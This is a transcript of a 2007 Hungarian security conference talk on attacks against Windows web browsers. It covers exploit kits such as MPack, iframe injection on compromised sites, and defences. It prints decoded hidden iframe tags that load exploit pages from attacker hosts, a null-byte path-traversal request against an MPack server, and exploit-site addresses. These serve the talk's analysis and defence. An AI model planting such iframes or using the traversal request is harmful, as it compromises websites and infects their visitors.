Windows-os webes kliensek biztonsága

50
Windows-os webes kliensek biztonsága Előadás címe: Windows-os webes kliensek biztonsága Előadó neve: Gara Péter Rendezvény megnevezése: Hacktivity 2007 Időpont: 2007. szeptember 22. Kulcsszavak: Windows, kliens, sérülékenység, proof-of-concept, exploit, JavaScript, exploit kit, MPack, átirányítás, iframe, weboldal módosítás, patchelés, vírusvédelem, URL ellenőrzés, IPS, shellkód heurisztika Adatlap

description

Gara-Tarnóczi Péter 2007-es Hacktivity prezentációja

Transcript of Windows-os webes kliensek biztonsága

Page 1: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Előadás címe: Windows-os webes kliensek biztonsága Előadó neve: Gara Péter Rendezvény megnevezése: Hacktivity 2007 Időpont: 2007. szeptember 22.

Kulcsszavak: Windows, kliens, sérülékenység, proof-of-concept, exploit, JavaScript, exploit kit, MPack, átirányítás, iframe, weboldal módosítás, patchelés, vírusvédelem, URL ellenőrzés, IPS, shellkód heurisztika

Adatlap

Page 2: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

IBM Internet Security Systems (ISS) jóslat 2007-re: A webes böngészők elleni támadások számának növekedése nem áll meg. Ennek egyik oka az exploitokat fizetős szolgáltatásként biztosító, új iparág jelenléte.

Bevezetés

Miért támadnák meg az „értéktelen” kliens gépeket, az „értékes” adatokkal szolgáló céges szerverek helyett?

• könnyebb célpont, nagyobb választék, • értékes adatok nemcsak a merevlemezről nyerhetőek ki (jelszólopás), • illegális anyag tárolására alkalmas, • egy értékes szerver elleni támadásban elfedheti a valódi támadót, • egy botnet részeként szabadon irányítható.

Page 3: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Sérülékenységek

2006-ban számos, webes böngészőn keresztül kihasználható sérülékenység látott napvilágot. Csupán a 2006-os Microsoft Security Bulletinek nevezetes példáit sorolva:

• Windows Metafile (MS06-001), • Windows Media Player (MS06-006), • MDAC RDS.Dataspace (MS06-014), • Microsoft Management Console (MS06-044), • Vector Markup Language (MS06-055), • WebViewFolderIcon (MS06-057), • DirectAnimation.PathControl (MS06-067), • MSXML (MS06-071).

A támadások célpontjai: • Böngészők (IE, Firefox, Opera...) • Kiegészítő komponensek (WMP, QuickTime Player, WinZip...) • Operációs rendszer sérülékenységek

Page 4: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

ActiveX sérülékenységek: Nem a rosszindulatú kódot tartalmazó ActiveX komponensek futtatására (nem biztonságos konfiguráció illetve felhasználói gyengeség), hanem a hasznos ActiveX komponensek biztonsági réseire gondolok. Példák:

• MDAC RDS.Dataspace • WebViewFolderIcon • DirectAnimation.PathControl

Fájlformátum feldolgozási hibák: Az egyes fájltípusokat feldolgozó programkódokban lévő implementációs hibák, amelyek az elvárttól eltérő bemenet esetén nem várt végrehajtást eredményeznek. Példák:

• Windows Metafile • ANI kurzor (MS07-017)

Gyakori sérülékenység típusok

Page 5: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Az RDS.Dataspace egyike azoknak az ActiveX komponenseknek, amelyeknek létezik olyan metódusa, mellyel tetszőleges ActiveX komponens példányosítható (azaz létrehozható). Egy csak lokális (helyi gép) használatra engedélyezett ActiveX objektum létrehozásával az internetről vezérelve ún. cross-zone scripting támadás valósítható meg.

Ha egy weboldalon olyan kódot helyeznek el, amely egy RDS.Dataspace objektum CreateObject metódusának használatán keresztül a helyi gép védendő erőforrásaihoz hozzáférést biztosító ActiveX objektumokat vezérel, támadást intézhetnek a gyanútlan felhasználó gépe ellen.

MDAC RDS.Dataspace sérülékenység

További információk olvashatóak a

http://itsecurity.buzz.hu/archives/2007/05/06/Bevezetes_ActiveX_veszelyek/

oldalról kiindulva...

Page 6: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

A 32 bites Windows operációs rendszerek user32.dll állományában megvalósított ANI (animated cursor) fájlkezelő függvény stack buffer overflow típusú sérülékenységet tartalmazott. Az ANI fájl egyik fejlécére vonatkozó hosszadatot figyelmen kívül hagyott a feldolgozó rutin (a hossz értéke minden normál ANI fájl esetében 36 volt), így a vártnál nagyobb értéket megadva kihasználhatóvá vált a biztonsági rés.

Speciálisan konstruált ANI fájl felhasználásával az állományt letöltő gépen lehetővé válik a fájlban elhelyezett programkód futtatása. A Windows operációs rendszerek (köztük a Vista) védelmének (/GS, DEP, ASLR) kijátszhatóságáról remek összefoglalót ad az Alex Sotirov előadásáról készült jegyzet: http://cs343-spr0607.stanford.edu/index.php/Writeups:Alex_Sotirov

ANI kurzor sérülékenység

További információk olvashatóak a

http://itsecurity.buzz.hu/archives/2007/04/22/Bevezetes_Az_adat_is_tamadhat/

oldalról kiindulva...

Page 7: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Sérülékenység statisztikák

A PandaLabs 2007 második negyedévre vonatkozó megjegyzése szerint: „...presently, the most often used are MDAC (MS06-014) and .ANI (MS07-017)”.

legnépszerűbb sérülékenységek 2006-ban 1. MHTML URL (MS04-013), 2. MDAC RDS.Dataspace (MS06-014), 3. Mozilla InstallVersion (MSFA2005-50).

Az Internet Security Systems 2006-ra vonatkozó trendriportja szerint a webes böngészőn keresztül hozzáférhető sérülékenységek kihasználását tekintve:

legnépszerűbb sérülékenységek 2007 első felében 1. Visual Studio WMI Object Broker (MS06-

073), (!?) 2. ANI kurzor (MS07-017), 3. WebViewFolderIcon (MS06-057).

Ehhez képest meglepő eredményt közöltek az ISS 2007 első félévére vonatkozó trendriportjában:

Page 8: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

A Proof-of-Concept kód gyakorlatban igazolható bizonyítékot ad arra, hogy lehetséges a biztonsági rés rosszindulatú kihasználása. Egy PoC rendszerint nem hajt végre ártalmas cselekedetet, és nem célja gyanútlan felhasználók csapdába csalása.

Néhány ismert PoC forrás: • www.milw0rm.com, • www.metasploit.com, • www.securityfocus.com.

Néhány konkrétum:

• A Securityfocus gyűjteményében több PoC is található az MDAC sérülékenység kihasználására. • A Metasploit Framework-ben használt Perl scriptérdekessége, hogy nemcsak az RDS.Dataspace CreateObject-es sérülékenységét, hanem tucatnyi másik ActiveX komponens – köztük az ISS listavezető (Visual Studio WMI Object Broker) – ugyanilyen típusú biztonsági rését használja ki.

Proof-of-Concept kódok

Page 9: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Egy 2007. januárban ismerté vált JRE sérülékenységhez a milw0rmon jelent meg egy PoC kód még ugyanebben a hónapban.

PoC: Sun Java GIF fájl feldolgozási sérülékenység

Page 10: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Az exploit kód a támadó érdekeinek megfelelően kihasználja a megtámadott sérülékenységet. Az exploit elhelyezője nem figyelmeztet a kód kártékony voltára. Szerkezetileg egy exploit kód és egy PoC kód között nincs sok különbség. A lényegi tartalom általában megegyezik, de a webes exploitok előállítói előszeretettel alkalmaznak olyan technikákat, amelyek megnehezítik az exploit kódok felismerését.

Néhány ismert exploit forrás: • http://*.info, • http://*.biz, • http://*.tw.

Exploit kódok

JavaScript Obfuscation: a JavaScript kód „összezavarása”. Célja a szemmel illetve biztonsági programokkal történő felismerés elkerülése. Néhány ismert eljárás: base64 kódolás, Unicode kódolás, XOR titkosítás.

Page 11: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

A PoC részben említett sérülékenységet kihasználó exploitra a jelenleg már nem létező gdfcnt.info szerveren akadtam. Megjegyzem, *cnt.info néven újabb és újabb szerverek válnak elérhetővé, majd elérhetetlenné...

Exploit: Sun Java GIF fájl feldolgozási sérülékenység

Hivatkozás

JAD-del visszafejtett Java kód

Ez az exploit a korábbi PoC minimális átalakítása.

Page 12: Windows-os webes kliensek biztonsága

Az alapvető különbség a szándékban található. A PoC figyelmeztet egy sérülékenység kihasználhatóságára, az exploit célja pedig ténylegesen kihasználni a biztonsági rést. A PoC ártalmatlan cselekedet révén mutat rá a valós veszélyre, az exploit kártékony módon tevékenykedik. Egy tipikus webkliens exploit célja kártékony kód letöltése a felhasználó gépére, melyet a kód futtatása követ.

Windows-os webes kliensek biztonsága

PoC vs Exploit

Fo

rrás: w

ww

.dia

film.h

u

Page 13: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Képzeljük magunkat a támadók helyébe! Miképp növelhető a sikeres támadások száma? Egyetlen sérülékenységet kihasználó exploit helyett alkalmazzunk több, különböző sérülékenységet kihasználó kódot. Egy exploit kit különböző sérülékenységeket kihasználó exploitok gyűjteménye. A tipikus webkliens exploit kit célja megegyezik a webkliens exploit céljával.

Az exploit kitek egyedfejlődése: • primitív exploit kit: a felhasználó gépére letölti az összes tartalmazott exploitot, valamelyik csak sikerre visz... • fejlettebb szint: azonosítja a kliensoldali környezet bizonyos elemeit (tipikusan böngésző program illetve operációs rendszer), és ez alapján választja ki a támadásokat, • még fejlettebb szint: nemcsak exploitokat biztosít, hanem egyéb hasznos funkciói is vannak (menedzsment, riportolás).

Exploit kitek

Page 16: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Google search eredménye 2007. szeptemberének egy napfényes délutánján:

• mpack+exploit: kb. 165 000 találat • icepack+exploit: kb. 13 400 találat • webattacker: kb. 20 500 találat

Miért ez a nagyságrendi különbség?

2007. júniusában támadást intéztek egy olaszországi webszolgáltató ellen, melynek eredményeképp számos weboldal vált egy MPack exploit kitre mutató hivatkozás hordozójává. A támadást követően jókora hírverés indult:

•'Italian Job' Web Attack Sweeping the 'Net (PC World) •'Italian Job' trojan infecting thousands of servers, end-users (SC Magazine) •Malware Pulls an "Italian Job" (Slashdot) •Italy Under Attack: Mpack Gang Strikes Again! (Symantec) •Another malware pulls an Italian job (Trend Micro) •Large scale European Web Attack (Websense) •Russian hackers hijack Italian sites to serve exploits (ZDNet)

A Finjan biztonsági blogjában felrótták, hogy a tudósítások nem foglalkoznak az MPack valódi képességeivel.

Esettanulmány: MPack

Page 17: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Az MPack egy orosz társulat által kifejlesztett , fizetős exploit kit. Talán az első hirdetés látható az alábbi képen...

MPack: Történet

Potom 1000 dollárért lehet valakinek saját kitje, márcsak rajta múlik, hogy hova telepíti, és hogyan „hívja fel a figyelmet” a kártékony oldalra. Azonban a hirtelen jött népszerűségnek („olasz meló”) köszönhetően megjelentek a „kalózok”, akik 150 dollárért kézbesítették az árut, és a fájlmegosztókon ingyenesen is hozzáférhetővé váltak különböző verziók.

Page 18: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Tegyük fel, hogy az MPack nem tartalmaz source code disclosure típusú sérülékenységet, a vevők nem adják tovább a forráskódot, desktopjuk megfelelően védett...Mégis hogyan kerül rapidshare-re több változata is?

Ingyen MPack?

A jogosultságok hibás kiosztása és a konfiguráció helytelen kezelése gyakori eset. Vélhetően azonban a fenti feltételezések közül egyik sem állja meg a helyét (null-karakter beszúrásos sérülékenység: http://mpackserver/mpack/file.php?id=/../settings.php%00).

Page 19: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

A PandaLabs kiváló elemzését http://blogs.pandasoftware.com/blogs/images/PandaLabs/2007/05/11/MPack.pdf alapul véve állapítható meg a korai változatok (v0.80 előtti) némelyike:

• v0.33: az első ismert változat, • v0.51: nincs info, • v0.61: ezt mutatja be a hivatkozott dokumentum.

Néhány jelenleg aktív, korai szerver statisztikai oldala: • hxxp://81.95.149.235/cd/stats.php • hxxp://www.500sclintononline.com/_vti_pvt/stats.php

A 0.80-as verzió óta rendelkezésre álló .txt állományok (Notes.txt, Readme.txt, changelog.txt) tartalmazzák a szerzők által lényegesnek tartott változásokat.

• v0.80: új exploitokkal bővül a kínálat (WebViewFolderIcon, WinZip, QuickTime, ANI), • v0.81: nincs info, • v0.83: megjelenik a hivatkozások (REFERER) statisztikája, • v0.84: paraméterezhető, hogy több kártékony kód közül melyiket töltse le a felhasználó gépére, • v0.86: ország-szintű blokkolás lehetősége.

MPack: Verziók I

Page 20: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

A 0.90-es verzió legszembetűnőbb újítása a statisztikai modul megváltozása.

• v0.90: felhasználói név + jelszó a statisztikai oldal hozzáféréséhez, jelszó kell az adatbázis törléséhez, új kriptomodul, • v0.91: nincs info, • v0.93: kriptomodul kiterjesztés, • v0.94: nincs info, • v0.95: apróbb simítás + új kriptomodulok.

MPack: Verziók II

Page 21: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

A webes kommunikációt PHP scriptek és MySQL adatbázis szolgálja ki. A működéshez mindenképp szükség van PHP értelmezőre, de MySQL hiányában adatállományokat használhat az MPack. Néhány oldal megnevezése, rövid leírása:

• index.php: a főoldal, amely a User-Agent értéke alapján eldönti, hogy milyen exploitokat küldjön a kliensre. A 0.95-ös verzió a következő biztonsági réseket támadja alapértelmezésben:

• WMP (MS06-006), • MDAC (MS06-014), • MMC (MS06-044), • WVFI (MS06-057), • egy QuickTime sérülékenység, • egy WinZip sérülékenység.

Az alábbi sérülékenységekhez is tartalmaz exploitot: • XML (MS06-071), • ANI (MS07-017).

A VML (MS06-055) elleni exploitot törölték a kitből. • settings.php: a beállításokat tartalmazó állomány, • file.php: a kliensre telepítendő károkozót leküldő script, • admin.php (régebbi verziókban stats.php): aktuális statisztikai adatokat prezentáló script.

MPack: felépítés

Page 22: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

• Egy IP címről, egy fajta böngészőn keresztül csak egyszer töltődik le kártékony kód. • Beállítható ország-szintű szűrés. • Lehetővé teszi, hogy több program közül lehessen választani a futtatandó kártékony kód letöltéséhez. • Statisztikák (operációs rendszer, böngésző, exploit, letöltések, országok, hivatkozások). • Különböző obfuscation modulok használatának lehetősége.

MPack: features

Page 23: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Saját gép vs. meghackelt gép

MPack: Hova kerül a szerver?

Russian Business Network néven ismert szentpétervári vállalkozás jelenleg épp RBusiness Network néven, panamai hivatkozással (RIPE) birtokolja a 81.95.144.0 - 81.95.151.255 IP címtartományt. Ebben a tartományban számos exploit szerver található. Bizonyára nem tudnak erről...

Page 24: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Inkább érdekesség, mint potenciális fenyegetés, mivel eléggé passzív szerepet lát el.

MPack: egy magyar szerverről...

Meglehetősen nagy a valószínűsége, hogy egy hackelt site-ról van szó, ugyanis

• a webszolgáltató FTP szerveréhez a domain nevével megegyező felhasználói név és egy logikailag hozzá passzoló jelszó megtalálható egy orosz fórum egyik hozzászólásában, • a könyvtárstruktúra szörfölhető, és a dátumokból az látszik, hogy az üzleti profilba eső oldalakkal egyidőben töltődött fel egy hitelesítést nem igénylő, tartalommenedzselő script, • az MPack ip_all.txt fájljának első bejegyzése egy olasz szolgáltató címtartományába eső IP cím.

Forrás: www.diafilm.hu

Page 25: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Feltűnő, hogy az ANI (2007. március) és a QuickTime (2007. január) exploit kivételével, csupa 2006-os sérülékenységet használ ki az MPack. Miért ne lehetne 2007-ben friss sérülékenységekre vadászni? A hab a tortán persze egy zero-day exploit lenne...

Hova fejlődhet az exploit kit?

Az IcePack Platinum egy komplex exploit kit, amely exploit és statisztikai modul mellett egyéb hasznos funciókat ellátó részekkel is rendelkezik. Régebbi változatában az exploit rész egyszerű MPack klón, lényegi különbség nélkül. Azonban nemrégiben egy alaposan átírt változata jelent meg, amely kliens-oldalon futó ellenőrzéseket tartalmaz, és exploit készlete a megszokottak mellett egészen friss darabokkal egészült ki:

• Yahoo! Messenger Webcam (2007. június) • Yahoo! Widgets Plugin (2007. július) • DirectX Media SDK (2007. augusztus)

Utóbbi jelenleg is zero-day exploit (a sérülékenység ismert, de biztonsági javítás nem érkezett hozzá).

Page 26: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Social engineering módszerek: • e-mailben küldött link, • chat programban küldött link, • fórum bejegyzésben elhelyezett link, • blog kommentben elhelyezett link, • megtévesztő domain nevek használata.

Még tapasztalt felhasználók is meglepődhetnek, amikor egy kéretlen reklámnak álcázott vagy egy adathalászatra gyanúsnak tűnő elektronikus üzenetben található linkre kattintva valójában egy kártékony kódot aktiválnak. A tipikus eset azonban csábító tartalomra hivatkozással rábírni a felhasználót a kattintásra. Gyakori módszer megtévesztő domain nevek használata. Példa: www.nod32-spl.com.

Hogyan jut el a felhasználó egy exploit oldalra?

Elgépelésen alapuló domain nevek: egyetlen betű megváltoztatásával vagy betoldásával képzett és regisztrált domain nevek mögött kártékony kódot hordozó weboldalak állhatnak. Példa: gookle.com.

Weboldalak meghackelése: a látogatót automatikusan az exploit oldalra átirányító kód elhelyezése érdekében.

Page 27: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

A gyakorlatban kétféle megoldással találkoztam: • JavaScript hivatkozás beszúrása, • iframe beszúrása.

A felhasználó átirányítása

Az iframe beszúrásos megoldás messze a legelterjedtebb, azonban sok esetben nem ennyire egyszerű a felfedezése.

Néha egyetlen oldalban megtalálható mindkét megoldás: Superbowl hack

Page 28: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Ha a Unicode stringet visszafejtjük, a következő kódot kapjuk: <iframe width=1 height=1 border=0 frameborder=0

src="http://elitwarez.ru/1/tds/iframe.php"></iframe>

Az iframe elrejtése

Ha a függvényhívás eredményét kiértékeljük, a következő kódot kapjuk: <IFRAME name=‘StatPage’

src=‘http://58.65.239.180/’ width=5 height=5 style=‘display:none’></IFRAME>

Page 29: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Miképp kerülhet egy honlap kódjába kártékony oldalra hivatkozó iframe?

• Közönséges webkiszolgáló feltörése: általában nem a legpraktikusabb megoldás, ha a cél többszáz honlap módosítása. • Webes tartalomszolgáltató hackelése: egyetlen szerveren honlapok ezrei találhatóak meg. Amennyiben a fájljogosultságok beállítása hibás (például az Apache írás joggal hozzáfér az összes honlap tulajdonos index.* állományához), egy rövid szerveroldalon végrehajtódó scripttel módosítható az összes oldaltulajdonos index.* állománya. Egy jó cikk: http://isc.sans.org/diary.html?storyid=3078. • Webes alkalmazás sérülékenységének kihasználása: egy SQL beszúrásos támadásra hívták fel a figyelmet az ISC egy másik érdekes bejegyzésében: http://isc.sans.org/diary.html?storyid=2322. • Jelszó kitalálása, eltulajdonítása: könnyen kitalálható jelszavak törése, jelszólopás billentyűzet-figyelő programokkal. A manuális jelszavas beléptetés és index állomány módosítás meglehetősen lassú folyamat. • IFRAME menedzser eszköz használata jelszó adatbázissal: így automatizáltan módosítható a honlapok tartalma! • A weblap tulajdonosa helyezi el az iframe-t: a Finjan 2. negyedévre vonatkozó trendriportja ír a weblap tulajdonosok anyagilag érdekeltté tételének szervezett formájáról: http://www.finjan.com/Content.aspx?id=827.

Az iframe beszúrása

Page 30: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Az IFRAME menedzser feladata weboldalak kódjában átirányító kód elhelyezése. Mivel a tisztán statikus tartalom egyre ritkább, a menedzsernek képesnek kell lennie szerveroldalon futó kód helyes módosítására is.

Az egyik ismert IFRAME menedzser az FTP-Toolz pack v2.7: • módosított állományok index.htm, index.html, index.shtml, az index.php és az index.asp, • választható, hogy teljesen felülírja az eredeti állományt, az elejére írja magát vagy a végéhez íródjon, • az iframe elé és mögé kommentet helyez, amely egy ~ jelet tartalmaz.

IFRAME menedzser

A módosított tartalmú index állományt az adatbázisában tárolt account adatainak (szerver, felhasználói név, jelszó) birtokában tudja visszaírni. Rendszeres időközönként ellenőrzi, hogy a beszúrt kód megtalálható-e még a weboldal tartalmában.

Page 32: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

A PandaLabs 2. negyedéves riportjából vett ábra összefoglalja a támadás folyamatát...

Körforgás

• A felhasználók meglátogatják az iframe-t tartalmazó weboldalt, automatikusan letöltődik az exploit kód, a sérülékenységet kihasználva jelszólopó program települ a gépre. • A jelszólopó begyűjti és továbbítja a megszerzett jelszavakat. • Az IFRAME menedzser még több weboldalt hackel meg. • A folyamat kezdődik előlről...

Page 33: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

(ET = Esettanulmány, csak éppen nem fért ki...)

Egy webszűrő naplóállományait vizsgálva a következő blokkolt URL hivatkozásra leltem: hxxp://elitwarez.ru/1/tds/iframe.php. A proxy szerver logját vizsgálva nemcsak azt néztük, hogy mely kliensek érintettek a webes forgalomban, hanem azt is, hogy miképp juthattak el a felhasználók a blokkolt címre. A választ az alábbi táblázat tartalmazza...

ET: Számos magyar weboldalt érintő támadás

A fenti weboldalak mindegyike tartalmazta az említett iframe-t. Maga az iframe egy JavaScript-ben volt elrejtve.

Fo

rrás: b

olth

ely.h

u

Page 34: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Megvizsgálva az exploit site-ot a következő információkat nyertem ki: • az URL-ben szereplő iframe.php egy index.php oldalra irányít át, • az index.php Internet Explorer böngésző használata esetén két exploit-tal próbálkozik: RDS.Dataspace és VML, • ha az URL végén az index.php-t stat.php-re cserélem, egy jelszót kérő oldal töltődik le.

A jelszókérő ablak keretére írt szöveg alapján egy orosz fejlesztésű, webes felületen meghívható, oldal-látogatási statisztikát készítő programra akadtam (szerző: Xaddis, program neve TDS).Tovább nyúzva Google-t, találtam még néhány exploit site-ot, amelyhez ugyanezt az alkalmazást vették igénybe. Egyikük esetében mintha valamiről elfeledkeztek volna...

Hunhack: Nyomozás az exploit site körül

Page 35: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Megvizsgálva az alábbi URL-eket érdekes eredményt kaptam vissza:

• elitwarez.ru/1/tds/stat/HU/clicks.txt • elitwarez.ru/1/tds/stat/HU/unics.txt • elitwarez.ru/1/tds/stat/clicks.txt • elitwarez.ru/1/tds/stat/unics.txt

Miért is Hunhack?

Ha a számok túlzásnak is tűnhetnek a unics esetében, úgy gondolom, hogy a százalékos eredmény mégis igazolni látszik, hogy a magyar oldalakon dolgozott intenzíven az iframe-k elhelyezője.

Page 36: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Értesítettem szinte az összes oldal vélt tulajdonosát az incidensről. Volt aki

• visszajelzett és eltávolította, • nem jelzett vissza és eltávolította, • nem jelzett vissza...

Voltak akik eltávolították, de pár napon belül újra honlapjukon szerepelt a kód. Mindenbizonnyal egy IFRAME menedzser tevékenykedett náluk... Ez a menedzser egyébként a következő kommentek közé szorította be az iframe-t: <!-- o65 --> ... <!-- c65 -->

E dia készítésekor (bő két hónappal az incidensek észlelését követően) a táblázatban szereplő 15 honlap közül:

• 7 darab mentes kártékony kódtól, • 1 darab nem érhető el már azon a néven, de tartalma alapján tiszta, • 2 darab még mindig az elitwarez-re mutató iframe-t tartalmaz, igaz, a cél jelenleg elérhetetlen.

A maradék öt honlapot a rajtuk lévő átirányító kód(ok) alapján „tetszési” sorrendbe állítottam...

Hunhack: Aktuális helyzetkép

Page 37: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

5. helyezett: Semmi különös, csupán egy újabb *cnt.info exploit site-ra mutató iframe-t tartalmaz, amely egy Microsoft VM exploitot aktivál. 4. helyezett: Csak azért nem ötödik, mert 3 darab iframe is található benne. Ezek közül csak kettő mutat aktív oldalra és azok is a gyakori RDS.Dataspace exploitot tartalmazzák. 3. helyezett: Egyik érdekessége, hogy az eredeti tartalom teljes egészében eltűnt. Az oldalon 2 darab iframe található, és bár egyikük többfele ágazik, csak egyetlen érdekes átirányítással találkoztam. Ez egy olyan oldalra vezet, amelyen egy primitív exploit kit (n404-*) újabb változata található. 2. helyezett: Igazi csúcs ez az oldal. 834 KB-ból 43 KB a hasznos tartalom. Úgy tűnik, hogy valamilyen okból kifolyólag megbolondult egy IFRAME menedzser és minden adandó alkalommal hozzáírja a kódját az oldalhoz.Az utolsó bejegyzés inaktív szerverre mutat. És a győztes: Első ránézésre semmi különös, csupán két ismerősnek tetsző JavaScript kód a fájl végén. Aztán feltűnik, hogy hiányzik a <script> tag, viszont mindkét kód komment jelek között szerepel. Lehet, hogy a lap tulajdonosa megunta az állandóan visszaírt kódokat, és törlés helyett kihúzta a méregfogukat?

Hunhack: TOP 5

Page 38: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

A védelem lehetőségeinek bemutatása nem teljeskörű, így például nem boncolom azt a lehetőséget, hogy tiltsuk le a JavaScript kódok végrehajtását a böngészőben (ez funkcionalitás vesztéssel jár), vagy cseréljük le a Windowst más operációs rendszerre (jövőre megérhet egy újabb előadást Linuxos webes kliensek biztonsága netán Mac OS X webes kliensek biztonsága címmel). A továbbiakban a következő biztonsági megoldásokat vizsgáljuk meg:

• biztonsági patchek rendszeres telepítése, • vírusvédelmi programok alkalmazása, • URL ellenőrző megoldások igénybevétele, • gazdagép alapú IPS rendszerbe helyezése.

Két, általam rendszeresen tesztelt program:

• URL ellenőrzés: LinkScanner Pro • Host IPS: Proventia Desktop

Hogyan védekezhetünk?

Page 39: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Vajon a rendszeres patchelés elegendő önmagában a biztonság megteremtéséhez? A patchelés fontos dolog, de figyelembe kell venni az alább felsorolt szempontokat:

• a sérülékenység életciklusa,

Patchelés életre-halálra

• a frissítések automatizálhatósága (nemcsak Microsoft sérülékenységek okozhatnak problémát!), • a biztonsági frissítés és alkalmazások esetleges összeütközései (példa: ANI patch és az „Illegal System DLL Relocation” hibaüzenet).

Forrás: http://www.techzoom.net/paper-speed-of-insecurity-vulnerability-lifecycle.asp

Stefan Frei és Martin May bemutatója (BlackHat USA 2006) az exploit, disclosure és patch sorrendjére vonatkozóan érdekes statisztikát tartalmaz. 3428 exploitot vizsgálva a hivatalos nyilvánosságra hozatal 23%-ban az exploit megjelenését követően, 58%-ban egyidejűleg, 19%-ban pedig az exploit megjelenése előtt történt meg. 1551 patchet vizsgálva az esetek 15%-ban a nyilvánosságra hozatal a patch megjelenését követően, 54%-ban egyidejűleg, 31%-ban a patch publikálása előtt történt meg.

Page 40: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Helytálló-e még ez a megnevezés? Az antivírus programok már régen nem csak vírusok elleni védelemmel foglalkoznak. A piaci verseny megkövetelte, hogy egyéb kártevőket se hagyjanak figyelmen kívül.

Melyik cég terméke véd hatékonyan a vírusok ellen? Megbízhatónak tekinthetjük azokat a termékeket, amelyek minden hónapban kiérdemlik a VB100 díjat („In the Wild” vírusok 100%-os felismerése)?

Mennyire hatékonyak az antivírus programok a kártevők ellen? 2007. májusában AV-Test.org felmérés több mint 600 000 kártevő példányon (backdoor, trójai, bot, féreg), a lehető legagresszívabb beállításokkal egész biztató eredményt produkált: két önálló termék is 99% felett teljesített, az ismertebb gyártók közül: F-Secure (97,93%), Symantec (97,77%), Kaspersky (97,64%), BitDefender (95,68%), Panda (92,09%), Trend Micro (90,97%), Nod32 (88,32%), McAfee (87,28)%, Sophos (81,75%), VirusBuster (72,72%). Jóval szerényebb eredményt produkáltak a termékek az AV-Comparatives ugyanebben a hónapban végzett tesztjén (vírus, script malware, féreg, backdoor, trójai, egyéb): az összetett feltételek alapján adott egyetlen Advanced+ minősítést a Nod32 kapta, mely egyébként 68%-os felismerési arányt produkált. (Forrás: http://www.av-comparatives.org//seiten/ergebnisse/report14.pdf)

Vírusvédelem

Page 41: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Van egy hely, ahova bárki feltöltheti a gyanúsnak talált fájlokat, és 31 vírusvédelmi termék elemzésének eredményéből tájékozódhat. Ez a Virustotal (www.virustotal.com).

Virustotal teszt

Made in China (2007. április, RDS.Dataspace) John Howard (2007. február, RDS.Dataspace)

Egy trükkök nélküli, „laboratóriumi” RDS.Dataspace exploit Ismert trükkös, „laboratóriumi” RDS.Dataspace exploit

Page 42: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Az alábbiakban tárgyalt alkalmazások a népszerű kereső programok lekérdezéseinek eredményében megjelenő URL-ekről adnak biztonsági információt. Statikus URL ellenőrzők: egy rendszeresen frissített, központi adatbázisban tárolják a site információkat. A Google keresés eredményéül kapott URL-t (vagy annak a site-ra vonatkozó részét) továbbítják a központba, és az adatbázis alapján állapítják meg, lehet-e szükség óvatosságra. Előny: gyors értékelés + biztonságos hálózati kommunikáció, hátrány: site-szintű információt ad + az értékelés múltbeli adaton alapszik. Példák statikus URL ellenőrzőkre: McAfee SiteAdvisor, Google „figyelmeztető”. Dinamikus URL ellenőrzők: valósidőben vizsgálják magát az eredményül kapott URL-en lévő kódot. Előny: a konkrét oldalról ad véleményt + az értékelés valósidejű adaton alapszik, hátrány: lassú értékelés + közvetlenül kommunikál a vizsgált szerverrel (mi történik, ha saját kódjában van egy sérülékenység...). Példák dinamikus URL ellenőrzőkre: Exploit Prevention Labs Linkscanner Lite, Finjan SecureBrowsing.

URL ellenőrzés

Page 43: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

A LinkScanner Pro nemcsak a keresések eredményeinek elemzését végzi el, de képes a betöltött, kártékony kódot tartalmazó weboldal valósidejű blokkolására.

LinkScanner Pro

A LinkScanner Lite az elitwarezes esettanulmány 3 működő átirányító oldalát tesztelve 1 esetben felismerte a veszélyt, a maradék kettőt azonban tisztának találta. A LinkScanner Pro a maradék két eset közül egyben, az exploit kód letöltésekor blokkol.

A képen nem a fenti szövegben említett tesztek eredménye látható.

Page 44: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

